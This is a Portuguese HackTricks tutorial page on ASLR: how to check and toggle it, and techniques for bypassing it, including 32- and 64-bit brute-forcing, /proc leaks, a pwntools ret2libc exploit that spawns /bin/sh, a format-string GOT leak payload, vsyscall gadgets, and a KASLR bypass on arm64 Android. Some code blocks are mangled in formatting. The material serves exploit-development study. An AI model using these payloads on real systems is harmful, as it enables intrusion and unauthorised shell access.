ASLR
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Address Space Layout Randomization (ASLR) é uma técnica de segurança usada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e aplicações. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como the stack, heap, and libraries, mitigando certos tipos de exploits, particularmente buffer overflows.
Verificando o status do ASLR
Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:
- 0: Sem randomização. Tudo é estático.
- 1: Randomização conservadora. Shared libraries, stack, mmap(), VDSO page são randomizados.
- 2: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por
brk()é randomizada.
Você pode verificar o status do ASLR com o seguinte comando:
cat /proc/sys/kernel/randomize_va_space
Desativando ASLR
Para desativar o ASLR, defina o valor de /proc/sys/kernel/randomize_va_space como 0. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como desativá-lo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Você também pode desativar o ASLR para uma execução com:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Ativando ASLR
Para ativar ASLR, você pode escrever o valor 2 no arquivo /proc/sys/kernel/randomize_va_space. Isso normalmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistência entre reinicializações
As alterações feitas com os comandos echo são temporárias e serão redefinidas após uma reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf e adicionar ou modificar a seguinte linha:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Depois de editar /etc/sysctl.conf, aplique as alterações com:
sudo sysctl -p
Isto garantirá que suas configurações de ASLR permaneçam após reboots.
Bypasses
32bit brute-forcing
PaX divide o espaço de endereçamento do processo em 3 grupos:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—> 16 bits de entropia na variáveldelta_exec. Essa variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais. - Memory alocada por
mmap()e bibliotecas compartilhadas —> 16 bits, chamadadelta_mmap. - The stack —> 24 bits, referida como
delta_stack. Contudo, efetivamente usa 11 bits (do 10º ao 20º byte inclusive), alinhada a 16 bytes —> Isso resulta em 524,288 possible real stack addresses.
Os dados anteriores são para sistemas 32-bit e a entropia final reduzida torna possível contornar ASLR repetindo a execução várias vezes até que o exploit seja bem-sucedido.
Brute-force ideas:
- Se você tiver um overflow grande o suficiente para hospedar um big NOP sled before the shellcode, você poderia simplesmente brute-force endereços na stack até que o fluxo pule alguma parte do NOP sled.
- Outra opção, caso o overflow não seja tão grande e o exploit possa ser executado localmente, é possível adicionar o NOP sled e o shellcode em uma environment variable.
- Se o exploit for local, você pode tentar brute-force o endereço base do libc (útil para sistemas 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se estiver atacando um servidor remoto, você pode tentar brute-force do endereço da função
libcusleep, passando como argumento 10 (por exemplo). Se em algum momento o servidor demorar 10s a mais para responder, você encontrou o endereço dessa função.
Tip
Em sistemas 64 bits a entropia é muito maior e isso não deve ser possível.
64 bits stack brute-forcing
É possível ocupar uma grande parte da stack com env variables e depois tentar abusar do binary centenas/milhares de vezes localmente para explorá-lo.
O código a seguir mostra como é possível apenas selecionar um endereço na stack e a cada algumas centenas de execuções esse endereço conterá a NOP instruction:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Detecção brute-force de NOPs na stack em Python
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Informação Local (`/proc/[pid]/stat`)
O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e ele **contém informações interessantes** tais como:
- **startcode** & **endcode**: Endereços acima e abaixo relacionados ao **TEXT** do binário
- **startstack**: O endereço do início da **stack**
- **start_data** & **end_data**: Endereços acima e abaixo onde está a **BSS**
- **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP**
- **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **cli arguments**.
- **env_start** &**env_end**: Endereços acima e abaixo onde estão as **env variables**.
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não espera o overflow a partir de argumentos brutos, mas de uma diferente **entrada que pode ser criada após ler este arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit**.
> [!TIP]
> Para mais informações sobre este arquivo consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
### Tendo um leak
- **O desafio fornece um leak**
Se você recebe um leak (desafios CTF fáceis), você pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc usada no sistema que está explorando). Este exploit de exemplo é extraído de [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (verifique essa página para mais detalhes):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Abusando de um buffer overflow, seria possível explorar um ret2plt para exfiltrate o endereço de uma função da libc. Confira:
- Format Strings Arbitrary Read
Assim como no ret2plt, se você tiver um arbitrary read via uma format strings vulnerability é possível exfiltrate o endereço de uma libc function do GOT. The following example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Você pode encontrar mais informações sobre Format Strings arbitrary read em:
Ret2ret & Ret2pop
Tente contornar o ASLR abusando de endereços dentro da stack:
vsyscall
O mecanismo vsyscall serve para melhorar o desempenho ao permitir que certas system calls sejam executadas em user space, embora sejam fundamentalmente parte do kernel. A vantagem crítica das vsyscalls está nos seus endereços fixos, que não estão sujeitos ao ASLR (Address Space Layout Randomization). Essa natureza fixa significa que atacantes não precisam de uma vulnerabilidade de information leak para determinar seus endereços e usá-los em um exploit.
No entanto, não se encontrarão gadgets muito interessantes aqui (embora, por exemplo, seja possível obter um equivalente a ret;)
(The following example and code is from this writeup)
For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.
Exemplo de vmmap/vsyscall e busca de gadgets
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Observe, portanto, como pode ser possível bypass ASLR abusing the vdso se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:
KASLR on ARM64 (Android): bypass via fixed linear map
Em muitos kernels arm64 Android a base do kernel linear map (direct map) é fixa entre boots. As Kernel VAs para páginas físicas tornam-se previsíveis, quebrando KASLR para alvos acessíveis via o direct map.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymspara encontrarmemstart_addr- Leia 8 bytes nesse endereço (LE) usando qualquer kernel read (p.ex., tracing-BPF helper chamando
BPF_FUNC_probe_read_kernel) - Calcule as direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- Não é necessário um KASLR leak separado se o alvo estiver em/acessível via o direct map (p.ex., page tables, kernel objects em páginas físicas que você pode influenciar/observar).
- Simplifica R/W arbitrário confiável e o direcionamento de dados do kernel em arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms-> endereço dememstart_addr- Kernel read -> decodificar 8 bytes LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)comPAGE_OFFSET=0xffffff8000000000
Note
O acesso aos tracing-BPF helpers requer privilégios suficientes; qualquer kernel read primitive ou info leak é suficiente para obter
PHYS_OFFSET.
How it’s fixed
- Espaço de VA do kernel limitado mais CONFIG_MEMORY_HOTPLUG reserva VA para hotplug futuro, empurrando o linear map para o menor VA (base fixa).
- Upstream arm64 removeu a randomização do linear-map (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


